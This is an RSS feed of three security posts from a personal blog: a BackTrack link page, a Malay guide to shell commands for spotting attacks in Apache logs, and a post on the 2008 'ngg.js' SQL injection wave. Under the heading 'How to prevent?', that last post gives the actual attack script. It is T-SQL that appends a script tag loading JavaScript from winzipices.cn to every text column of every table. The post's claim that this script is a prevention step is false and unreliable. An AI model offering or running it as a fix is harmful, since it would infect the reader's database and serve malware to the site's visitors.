<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hariadi.Org &#187; Security</title>
	<atom:link href="http://www.hariadi.org/topics/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hariadi.org</link>
	<description>Apa yang paling kita nak, itulah yang susah kita dapat</description>
	<lastBuildDate>Tue, 07 Feb 2012 06:11:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>BackTrack</title>
		<link>http://www.hariadi.org/security/backtrack/</link>
		<comments>http://www.hariadi.org/security/backtrack/#comments</comments>
		<pubDate>Tue, 19 Oct 2010 13:17:53 +0000</pubDate>
		<dc:creator>Hariadi Hinta</dc:creator>
				<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Penetration Testing]]></category>

		<guid isPermaLink="false">http://www.hariadi.org/?p=425</guid>
		<description><![CDATA[BackTrack is intended for all audiences from the most savvy security professionals to early newcomers to the information security field. BackTrack promotes a quick and easy way to find and update the largest database of security tools collection to-date. Community of users range from skilled penetration testers in the information security field, government entities, information [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-medium wp-image-426 alignleft" title="BackTrack" src="http://www.hariadi.org/v9/wp-content/media/2010/10/bt4-logo-wallpaper-300x129.png" alt="BackTrack 4.0" width="300" height="129" /></p>
<p>BackTrack is intended for all audiences from the most savvy security  professionals to early newcomers to the information security field.  BackTrack promotes a quick and easy way to find and update the largest  database of security tools collection to-date. Community of users  range from skilled penetration testers in the information security  field, government entities, information technology, security  enthusiasts, and individuals new to the security community. The BackTrack Project  is funded by<a title="Information Security Training" rel="nofollow" href="http://www.offensive-security.com/"> Offensive Security</a>.</p>
<p>Useful links for BackTrack:</p>
<ol>
<li><a href="http://www.backtrack-linux.org/downloads/">Download</a></li>
<li><a href="http://www.backtrack-linux.org/forums/">Forum</a></li>
<li><a title="HCL:Laptops" href="http://backtrack.offensive-security.com/index.php/HCL:Laptops">Laptop Compatibility</a></li>
<li><a title="HCL:Wireless" href="http://backtrack.offensive-security.com/index.php/HCL:Wireless">Wireless Card Compatibility</a></li>
</ol>
<h3 class='related_post_title'>Related Posts:</h3>
<ul class='related_post'>
<li>No Related Posts</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.hariadi.org/security/backtrack/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Check jika Apache diserang</title>
		<link>http://www.hariadi.org/security/check-jika-apache-diserang/</link>
		<comments>http://www.hariadi.org/security/check-jika-apache-diserang/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 03:00:52 +0000</pubDate>
		<dc:creator>Hariadi Hinta</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.hariadi.org/?p=1161</guid>
		<description><![CDATA[KEMASKINI 29 April 2011: Arahan dibawah adalah untuk membuat analisis trafik menggunakan log server. Perhatikan Top IP. Siasat IP tu. Jika perlu masukan dalam kandang firewall, masukkan. Arahan ini akan memaparkan connection IP aktif pada port 80. Ubah cut-c 45 - jika perlu kerana alamat IP mungkin tidak bermula dengan ruangan 45. Arahan ini juga [...]]]></description>
			<content:encoded><![CDATA[<p><strong>KEMASKINI 29 April 2011</strong>:<br />
Arahan dibawah adalah untuk membuat analisis trafik menggunakan log server.</p>
<pre class="brush: bash; title: ; notranslate">tail -n 10000 apache_access.log|cut -f 1 -d ' '|sort|uniq -c|sort -nr|more</pre>
<p>Perhatikan Top IP. Siasat IP tu. Jika perlu masukan dalam kandang firewall, masukkan.</p>
<pre class="brush: bash; title: ; notranslate">netstat -n|grep :80|cut -c 45-|cut -f 1 -d ':'|sort|uniq -c|sort -nr|more</pre>
<p>Arahan ini akan memaparkan connection IP aktif pada port 80. Ubah <strong>cut-c 45 -</strong> jika perlu kerana alamat IP mungkin tidak bermula dengan ruangan 45. Arahan ini juga akan memaparkan jika ada banjir UDP.</p>
<pre class="brush: bash; title: ; notranslate">cut -f 2 -d '&quot;' apache_access.log|cut -f 2 -d ' '|sort|uniq -c|sort -nr|more</pre>
<p>Arahan yang akan memaparkan senarai URL yang paling banyak hits. Kadang kadang serangan bukan pada web tapi pada file tertentu.</p>
<pre class="brush: bash; title: ; notranslate">cut -f 4 -d '&quot;' apache_access.log|sort|uniq -c|sort -nr|more</pre>
<p>Arahan ini memaparkan URL dan User Agent. Kemungkinan mereka menggunakan User Agent tunggal dalam serangan.</p>
<p><em>End of Kemaskini</em><br />
Untuk tutor ini gua guna SUSE 10.1.</p>
<ol>
<li>Cek load server
<pre class="brush: bash; title: ; notranslate">top -u wwwrun</pre>
<p>wwwrun adalah nama service untuk Apache. Dstro lain mungkin guna nama lain. apache contohnya. Cek guna command <code>ps aux</code><br />
Jika pada part CPU. Kalau %CPU meningkat (80-100%) mungkin ada masalah.</li>
<li>Cek ada berapa service Apache yang running.
<pre class="brush: bash; title: ; notranslate">ps -ef | grep httpd | wc -l</pre>
<p>Enter dalam purata sepuluh kali. Kalau semua dibawah 50 kira orait. Kalau lebih mesti ada sesuatu.</li>
<li>Untuk cek concurrent connection pada Apache gunakan command ini: netstat
<pre class="brush: bash; title: ; notranslate">netstat -nap --inet | grep -i :80 | wc -l</pre>
<p>Untuk cek pada port 80 sahaja, guna command ini:</p>
<pre class="brush: bash; title: ; notranslate">netstat -anpt|egrep -v ^Active\|^Proto\|LISTEN |awk '{ print $4&quot;:&quot;$5 }' |cut -f 3,2 -d ':'|sort |uniq -c|sort -n</pre>
</li>
<li>Cek listening IPs:
<pre class="brush: bash; title: ; notranslate">netstat -tn</pre>
<p>Dari sini boleh tahu jika dia datang dari DHCP pool, maknanya ada attack.</li>
</ol>
<p>Arahan dibawah mungkin membantu:<br />
<strong>Current apache connection flags</strong>:</p>
<pre class="brush: bash; title: ; notranslate">netstat -plan | grep :80 | awk '{print $6}' | sort | uniq -c | sort -rn</pre>
<p><strong>PTR finder</strong>:</p>
<pre class="brush: bash; title: ; notranslate">cat list | while read ip ; do dig -x $ip | grep PTR | grep -v &quot;^;&quot; ; done
dig -x x.x.x.x | grep PTR | grep -v &quot;^;&quot;</pre>
<h3 class='related_post_title'>Related Posts:</h3>
<ul class='related_post'>
<li>No Related Posts</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.hariadi.org/security/check-jika-apache-diserang/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ngg.js</title>
		<link>http://www.hariadi.org/how-to/nggjs/</link>
		<comments>http://www.hariadi.org/how-to/nggjs/#comments</comments>
		<pubDate>Tue, 22 Jul 2008 03:18:09 +0000</pubDate>
		<dc:creator>Hariadi Hinta</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://www.hariadi.org/?p=16</guid>
		<description><![CDATA[What is */ngg.js? There seems to be a new wave of sql injections ending with ngg.js. Familiar iframe attack from before but this time selectively ignores browsers from Russia, Ukraine, China, Korea, Vietnam and India How to prevent? Open your SQL Tool Analyzer and type this: DECLARE @T VARCHAR(255) DECLARE @C VARCHAR(255) DECLARE Table_Cursor CURSOR [...]]]></description>
			<content:encoded><![CDATA[<h3>What is */ngg.js?</h3>
<p>There seems to be a new wave of sql injections ending with ngg.js. Familiar iframe attack from before but this time selectively ignores browsers from Russia, Ukraine, China, Korea, Vietnam and India<span id="more-16"></span></p>
<h3>How to prevent?</h3>
<p>Open your SQL Tool Analyzer and type this:</p>
<pre><code>
DECLARE @T VARCHAR(255)
DECLARE @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT [A].[Name], [B].[Name]
FROM sysobjects AS [A], syscolumns AS [B]
WHERE [A].[ID] = [B].[ID] AND
[A].[XType] = &#39;U&#39; /* Table (User-Defined) */ AND
([B].[XType] = 99 /* NTEXT */ OR
[B].[XType] = 35 /* TEXT */ OR
[B].[XType] = 231 /* SYSNAME */ OR
[B].[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC(&#39;UPDATE [&#39; + @T + &#39;] SET [&#39; + @C + &#39;] = RTRIM(CONVERT(VARCHAR, [&#39; + @C + &#39;])) + &#39;&#39;&lt;script src="http://winzipices.cn/2.js"&gt;&lt;/script&gt;&#39;&#39;&#39;)
FETCH NEXT FROM Table_Cursor INTO @T, @C
END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor </code></pre>
<h3>Check your coding?</h3>
<p>Download <a href="https://download.spidynamics.com/Products/scrawlr/">Scrawlr</a> to find code vulnerability.</p>
<h3>Related</h3>
<p><a href="http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx">ASCII Encoded/Binary String Automated SQL Injection Attack</a><br />
<a href="http://www.wwwcoder.com/main/parentid/258/site/2966/68/default.aspx">Preventing SQL Injections</a><br />
<h3 class='related_post_title'>Related Posts:</h3>
<ul class='related_post'>
<li>No Related Posts</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.hariadi.org/how-to/nggjs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>


<!-- W3 Total Cache: Minify debug info:
Engine:             disk: basic
Theme:              007ae
Template:           archive
-->
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Object Caching 317/348 objects using disk: basic

Served from: www.hariadi.org @ 2012-02-07 16:33:28 -->

<!-- W3 Total Cache: Page cache debug info:
Engine:             disk: enhanced
Cache key:          topics/security/feed/_index.xml_gzip
Caching:            enabled
Status:             not cached
Creation Time:      0.615s
Header info:
X-Pingback:         http://www.hariadi.org/v9/xmlrpc.php
ETag:               "6107f33d250c6b29804d578b9c0ee91f"
Content-Type:       text/xml; charset=UTF-8
Last-Modified:      Tue, 07 Feb 2012 08:33:28 GMT
Vary:               Accept-Encoding, Cookie
X-Powered-By:       W3 Total Cache/0.9.2.4
Content-Encoding:   gzip
-->
